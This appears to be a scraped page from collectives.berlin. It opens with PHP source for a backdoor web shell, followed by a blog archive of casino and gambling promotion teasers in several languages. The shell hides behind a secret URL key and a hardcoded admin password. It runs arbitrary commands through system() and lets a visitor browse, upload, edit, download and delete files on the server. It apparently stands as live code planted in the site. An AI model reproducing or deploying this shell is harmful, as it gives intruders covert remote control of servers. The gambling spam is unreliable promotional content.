if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 31 – collectives.berlin

Your digital paradise.

Category: public

  • Navigating PayID Pokies Australia: Essential information for new players in 2026

    As the world of online gaming continues to evolve, 2026 brings new opportunities for Australian players, particularly in the realm of PayID pokies, including options at an exciting payid casino that offer various rewards and promotions. These instant deposit methods significantly enhance the online gaming experience, making it easier and quicker to engage with a…

    Click or not…

  • So findest du die besten Boni im Online Casino Echtgeld für 2026

    In der aufregenden Welt der Online-Casinos gibt es zahlreiche Möglichkeiten, um echtes Geld zu gewinnen. Insbesondere im Jahr 2026 haben sich viele Anbieter hervorgetan, indem sie attraktive Boni und Promotions anbieten. In diesem Artikel erfährst du, wie du die besten Boni im online casino slots echtgeld finden kannst, welche Anbieter empfehlenswert sind und wie du…

    Click or not…

  • Claiming your rewards at Fast Withdrawal Casino UK 2026: Fast payments made easy

    In the rapidly evolving world of online gaming, players increasingly seek out platforms that promise quick and efficient payment solutions. Fast withdrawal casinos have gained immense popularity, especially in the UK, as players desire instant access to their winnings. Many players turn to casino sites fast withdrawal options that combine great gaming experiences with reliable…

    Click or not…

  • Best Online Pokies Australia payment methods: Why PayID and Neosurf are the top choices

    The world of online pokies in Australia is booming, with players seeking thrilling experiences and substantial rewards. In 2026, the landscape for Australian online gaming is shaped by an array of payment methods that prioritize safety, speed, and convenience. Among these, PayID and Neosurf stand out as top choices, attracting players with their unique advantages,…

    Click or not…

  • The most popular games at New Online Casino Canada 2026: A deep dive into

    Online casinos have transformed the gambling landscape in Canada, offering players a plethora of gaming options at their fingertips. As of 2026, new online casinos are emerging with competitive bonuses, diverse game selections, and the best online casino canada latest technology to enhance user experiences. This article explores what makes these new platforms stand out…

    Click or not…

  • Les fonctionnalités clés de l’application mobile Pin Up Casino : parier où que vous

    Les casinos en ligne gagnent en popularité, attirant de nombreux joueurs grâce à leur accessibilité et à leur variété de jeux. Parmi ces plateformes, Pin Up Casino se distingue par son application mobile qui permet aux utilisateurs de parier et de jouer à tout moment, où qu’ils soient, et ceux qui souhaitent en savoir plus…

    Click or not…

  • Comparing mobile casino experiences: finding the right app for you

    The explosion of mobile technology has transformed the online gambling landscape, offering players unprecedented access to their favorite casino games from the palm of their hand. With numerous mobile casino apps available today, finding the right one for your gambling needs can be a challenge. In this article, we’ll explore how to choose the best…

    Click or not…

  • Pinco казиносу: акча чыгаруу жана коопсуздукту камсыздоо жолдору

    Интернет казино дүйнөсүндө оюнчу катары ийгиликтүү болуу үчүн, сизге көптөгөн аспектилерди көңүлгө алуу керек. Pinco казиносу сыяктуу платформаларда акча чыгаруу жана коопсуздукту камсыз кылуу жолдорун билүү, сиздин казино оюнундагы тажрыйбаңызды жогорулатат. Бул макалада, биз pinco казиносу аркылуу акча чыгаруу жана коопсуздук боюнча маанилүү маалыматтарды карап чыгабыз. Pinco казиносу менен баштоо үчүн эмне текшерүү керек Pinco…

    Click or not…

  • PinUp казино: ваш гид по мобильным играм и живым дилерам

    Онлайн казины становятся всё более популярными в мире азартных игр. Благодаря современным технологиям, такие платформы предлагают пользователям множество возможностей для развлечений и выигрышей. Одним из таких увлекательных мест является Pin-Up казино онлайн , которое привлекает игроков не только разнообразием игр, но и удобством мобильного доступа и живыми дилерами. В этом гиде мы рассмотрим особенности PinUp…

    Click or not…

  • BaxterBet Slots: Die spannendsten Spielautomaten für große Gewinne entdecken

    Willkommen in der aufregenden Welt der Online-Casinos, wo Spieler die Möglichkeit haben, mit spannenden Spielautomaten große Gewinne zu erzielen. Die Plattform baxter bet bietet eine moderne Auswahl an Spielautomaten und Live-Casino-Spielen. In diesem Artikel werden wir die faszinierenden Aspekte von Baxters Spielothek sowie die besten Tipps und Tricks für das Spielen von Slots beleuchten. Ein…

    Click or not…